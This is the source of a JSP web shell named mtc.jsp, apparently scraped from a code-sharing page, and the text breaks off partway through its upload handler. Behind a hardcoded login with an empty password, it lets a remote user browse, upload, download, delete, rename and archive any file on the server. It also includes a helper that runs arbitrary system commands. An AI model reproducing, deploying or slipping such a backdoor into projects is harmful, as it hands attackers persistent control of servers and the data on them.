📄 mtc.jsp
字号:
<%@page contentType="text/html; charset=UTF-8" %><%@page import="java.util.zip.*" %><%//@page import="org.apache.tools.zip.*" %><%@ page import="java.io.*" %><%@ page import="java.net.*" %><%@page import="java.sql.*" %><%@page import="sun.awt.shell.ShellFolder"%><%@page import="javax.swing.filechooser.FileSystemView"%><%@ page import="java.util.*"%><%@ page import="java.math.*"%><%@page import="java.awt.*" %><%@page import="java.awt.event.*" %><%@page import="java.awt.image.*"%><%@page import="javax.swing.*"%><%@page import="java.awt.datatransfer.*"%><%@page import="javax.imageio.*"%><%@page import="java.util.regex.*"%><%!
private static final String PASSWORD="";//这里是用户的登陆密码
String uri;
private static final boolean isLinux=System.getProperty("os.name").startsWith("Linux");
private static final FileSystemView fsv = FileSystemView.getFileSystemView();
private static String START_TYPE[] ={"", "", "自动", "手动", "禁用"};
private static String STATE_TYPE[] ={"", "已停止", "", "", "已启动", "5", "6", "暂停"};
private static Rectangle rect[] = new Rectangle[8];
static
{
Dimension d = Toolkit.getDefaultToolkit().getScreenSize();
int width = d.width;
int height = d.height;
for (int i = 0; i < rect.length; i++)
{
rect[i] = new Rectangle(0, height / 8 * i, width, height / 8);
}
}
public static String exec(String cmd, Writer out) throws IOException
{
StringBuffer sb = new StringBuffer();
int len = 0;
byte by[] = new byte[cmd.length() * 10];
Process p = Runtime.getRuntime().exec(cmd);
InputStream is = p.getInputStream();
while((len = is.read(by)) != -1)
{
String str = new String(by, 0, len);
if(out != null)
{
out.write(str);
out.flush();
}
sb.append(str);
}
is.close();
return sb.toString();
}
public String unzip(File file, File dir) throws IOException
{
if (file.getName().toLowerCase().endsWith(".zip"))
{
StringBuffer result = new StringBuffer();
try
{
ZipFile zf = new ZipFile(file);
Enumeration enumer = zf.entries(); //zf.getEntries();
while (enumer.hasMoreElements())
{
ZipEntry ze = (ZipEntry) enumer.nextElement();
String zename = ze.getName();
result.append(zename + "<br/>");
if (ze.isDirectory())
{
File file11 = new File(dir,zename);
file11.mkdirs();
} else
{
File file11 = new File(dir,zename).getParentFile();
if (!file11.exists())
{
file11.mkdirs();
}
int i=0;
byte zeby[] = new byte[8192];
InputStream is = zf.getInputStream(ze);
FileOutputStream fos = new FileOutputStream(dir.getAbsolutePath() + "/" + zename);
while((i=is.read(zeby))!=-1)
{
fos.write(zeby,0,i);
}
is.close();
fos.close();
}
}
zf.close();
result.append("全部完成");
return result.toString();
} catch (Exception e)
{
return (file.getName() + " 不是 ZIP 压缩文件");
}
} else
{
Runtime rt = Runtime.getRuntime();
File f=new File("C:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File("D:\\Program Files\\WinRAR\\UnRAR.exe");
if(!f.exists())f=new File(this.getServletContext().getRealPath(uri)+"\\UnRAR.exe");
String path=f.exists()?f.getPath():"unrar";
Process p = rt.exec("\"" + path + "\" x -o+ -p- " + file.getAbsolutePath() + " " + dir.getAbsolutePath());
StringBuffer sb = new StringBuffer();
InputStream fis = p.getInputStream();
int value = 0;
while ((value = fis.read()) != -1)
{
sb.append((char) value);
}
fis.close();
String result = new String(sb.toString().getBytes("ISO-8859-1"), "GBK");
int index = result.indexOf("中解压");
if (index == -1)
{
return (file.getName() + " 不是 RAR 压缩文件");
} else
{
index += 4;
result = result.substring(index);
result = result.replaceAll("\r\n", "<br/>").replaceAll(" ", " ");//.replaceAll("\n", "<BR/>").replaceAll("\\\\", "/").replaceAll(file.getAbsolutePath(), "");
return (result);
}
}
}
public static void zip(String ps[],OutputStream os)throws IOException
{
ZipOutputStream zos = new ZipOutputStream(os);
for(int i=0;i<ps.length;i++)
{
zip(zos,new File(ps[i]),"");
}
zos.close();
}
public static void zip(ZipOutputStream zos, File file, String context) throws IOException
{
if (file.isFile())
{
int i=0;
byte by[] = new byte[8192];
FileInputStream is = new FileInputStream(file);
zos.putNextEntry(new ZipEntry(context + file.getName()));
while((i=is.read(by))!=-1)
{
zos.write(by,0,i);
}
is.close();
zos.closeEntry();
} else
if (file.isDirectory())
{
context=context + file.getName() + "/";
zos.putNextEntry(new ZipEntry(context));
zos.closeEntry();
File files[] = file.listFiles();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
zip(zos, files[i], context);
}
}
}
}
public void del(File f)
{
if (f.isDirectory())
{
File fs[] = f.listFiles();
for (int i = 0; i < fs.length; i++)
{
del(fs[i]);
}
}
f.delete();
}
public void copy(File s,File d)throws IOException
{
d=new File(d,s.getName());
if(s.isDirectory())
{
d.mkdir();
File fs[]=s.listFiles();
for(int i=0;i<fs.length;i++)
{
copy(fs[i],d);
}
}else
{
byte by[] = new byte[8192];
FileInputStream fis=new FileInputStream(s);
FileOutputStream fos=new FileOutputStream(d);
int i=0;
while((i=fis.read(by))!=-1)
{
fos.write(by,0,i);
}
fis.close();
fos.close();
}
}
public static File getLnkpath(File f)throws IOException
{
if(f.exists())
{
byte by[]=new byte[(int)f.length()];
FileInputStream fis=new FileInputStream(f);
fis.read(by);
fis.close();
String str=new String(by,"GBK");
String prefix=new StringBuffer(7).append((char)42).append((char)65533).append((char)16).append((char)0).append((char)0).append((char)0).append((char)0).toString();
int i=str.indexOf(prefix)+7;
if(i>6)
{
StringBuffer path=new StringBuffer();
for(int j=i;j<str.length();i++)
{
int ch=str.charAt(i);
if(ch!=0)
{
path.append((char)ch);
}else
{
break;
}
}
return new File(path.toString());
}
}
return f;
}
%><%
String user=(String)session.getAttribute("user");
uri=request.getRequestURI();
uri=uri.substring(0,uri.lastIndexOf('/'));
request.setCharacterEncoding("UTF-8");
String p=request.getParameter("p");
if(p==null)p="/";
File f = new File(p);
if(!f.exists())
{
p=new String(p.getBytes("ISO-8859-1"),"UTF-8");
f = new File(p);
}
String v=request.getParameter("v");
String ps[]=request.getParameterValues("ps");
String mt=request.getParameter("mt");
if(mt==null)mt="file";
int pos=0;
String tmp=request.getParameter("pos");
if(tmp!=null)
{
pos=Integer.parseInt(tmp);
}
int oby=1;
tmp=request.getParameter("oby");
if(tmp==null)
{
tmp=(String)session.getAttribute("oby");
}
if(tmp!=null)
{
oby=Integer.parseInt(tmp);
session.setAttribute("oby",String.valueOf(oby));
}
//版本
boolean ver=true;
Boolean btmp=(Boolean)session.getAttribute("ver");
if(btmp!=null)
{
ver=btmp.booleanValue();
}
///////////////////////////////////
if(mt.length()>5)
{
if(user==null)
{
user=request.getParameter("user");
String pwd=request.getParameter("pwd");
ver="true".equals(request.getParameter("ver"));
if(user.equals("mietian")&&pwd.equals(PASSWORD))
{
session.setAttribute("ver",new Boolean(ver));
session.setAttribute("user",user);
}else
{
out.print("<script>history.back();alert('用户名或密码错误!!!');</script>");
return;
}
}
out.clear();
if(mt.equals("file.mkdir"))
{
f=new File(f,v);
f.mkdirs();
}else if(mt.equals("file.del"))
{
for(int i=0;i<ps.length;i++)
{
del(new File(ps[i]));
}
}else if(mt.equals("file.unzip"))
{
for(int i=0;i<ps.length;i++)
{
unzip(new File(ps[i]),f);
}
}else if(mt.equals("file.zip"))
{
File co=new File(ps[0]+".zip");
while(co.exists())
{
co=new File(ps[0]+"_"+System.currentTimeMillis()+".zip");
}
zip(ps,new FileOutputStream(co));
}else if(mt.equals("file.down"))
{
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode("file.zip","UTF-8"));
zip(ps,response.getOutputStream());
return;
}else if(mt.equals("file.ren"))
{
for(int i=0;i<ps.length;i++)
{
File re=new File(f,v+(i==0?"":" ("+i+")"));
new File(ps[i]).renameTo(re);
}
}else if(mt.equals("file.cut")||mt.equals("file.copy"))
{
session.removeAttribute("file.cut");
session.removeAttribute("file.copy");
session.setAttribute(mt,ps);
}else if(mt.equals("file.paste"))
{
ps=(String[])session.getAttribute("file.cut");
if(ps!=null)
{
out.print("剪切...<br>");
for(int i=0;i<ps.length;i++)
{
if(p.startsWith(ps[i]))
{
out.print("跳过"+ps[i]+"<br/>");
continue;
}
File cut=new File(ps[i]);
boolean rs=cut.renameTo(new File(f,cut.getName()));
if(!rs)
{
copy(cut,f);
del(cut);
}
out.print(ps[i]+"<br/>");
out.flush();
}
session.removeAttribute("file.cut");
}else
if((ps=(String[])session.getAttribute("file.copy"))!=null)
{
out.print("复制...<br>");
for(int i=0;i<ps.length;i++)
{
if(p.startsWith(ps[i]))
{
out.print("跳过"+ps[i]+"<br/>");
continue;
}
copy(new File(ps[i]),f);
out.print(ps[i]+"<br>");
out.flush();
}
}
out.print("完成,<A href=?p="+URLEncoder.encode(p,"UTF-8")+" >返回</A>");
return;
}else if(mt.equals("file.ext"))
{
if(f.exists())
{
try
{
Image i=((ImageIcon)fsv.getSystemIcon(f)).getImage();
BufferedImage bi=new BufferedImage(16,16,BufferedImage.TYPE_4BYTE_ABGR);
bi.createGraphics().drawImage(i,0,0,null);
//BufferedImage bi=(BufferedImage)((ImageIcon)fsv.getSystemIcon(f)).getImage();
OutputStream os=response.getOutputStream();
ImageIO.write(bi,"PNG",os);
os.close();
}catch(Exception ex)
{
}
}
return;
}else if(mt.equals("file.dl"))
{
response.setContentType("application/octet-stream");
response.setHeader("Content-Disposition", "attachment; filename=" + URLEncoder.encode(f.getName(),"UTF-8"));
int len=(int)f.length();
response.setContentLength(len);
FileInputStream fis=new FileInputStream(f);
OutputStream os=response.getOutputStream();
byte by[]=new byte[8192];
int value=0;
try
{
while((value=fis.read(by))!=-1)
{
os.write(by,0,value);
}
}finally
{
fis.close();
os.close();
}
return;
}else if(mt.equals("file.upload"))
{
String ce = request.getCharacterEncoding();
if(ce == null)ce = System.getProperty("file.encoding");
String ct = request.getContentType();
ct="--" + ct.substring(30);
int j=0;
byte by[] = new byte[8192];
ServletInputStream is = request.getInputStream();
is.readLine(by,0,by.length);//ct
while((j=is.readLine(by,0,by.length))!=-1)
{
String line = new String(by, 0, j, ce);//Content-Disposition
int x = line.indexOf("name=\"") + 6;
int y = line.indexOf("\"", x);
String name = line.substring(x, y);
x = line.indexOf("filename=\"", y) + 10;
is.readLine(by,0,by.length);//Content-Type: application/msword 或 rn
if(x > 10)
{
y = line.indexOf("\"", x);
String fn = line.substring(x, y);
x = fn.lastIndexOf('\\');
if(x != -1)
fn = fn.substring(x + 1);
OutputStream os = new FileOutputStream(new File(p, fn));
boolean rn = false;
j=is.readLine(by,0,by.length);//rn
if(j==2)
{
j=is.readLine(by,0,by.length);//
}
do
{
if(rn)
{
os.write(13);
os.write(10);
}
if(j > 2 && by[j - 2] == 13 && by[j - 1] == 10)
{
rn = true;
j -= 2;
} else
{
rn = false;
}
os.write(by, 0, j);
j = is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
} while(!line.startsWith(ct));
os.close();
}else
{
j =is.readLine(by,0,by.length);
line = new String(by, 0, j, ce);
StringBuffer sb = new StringBuffer();
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -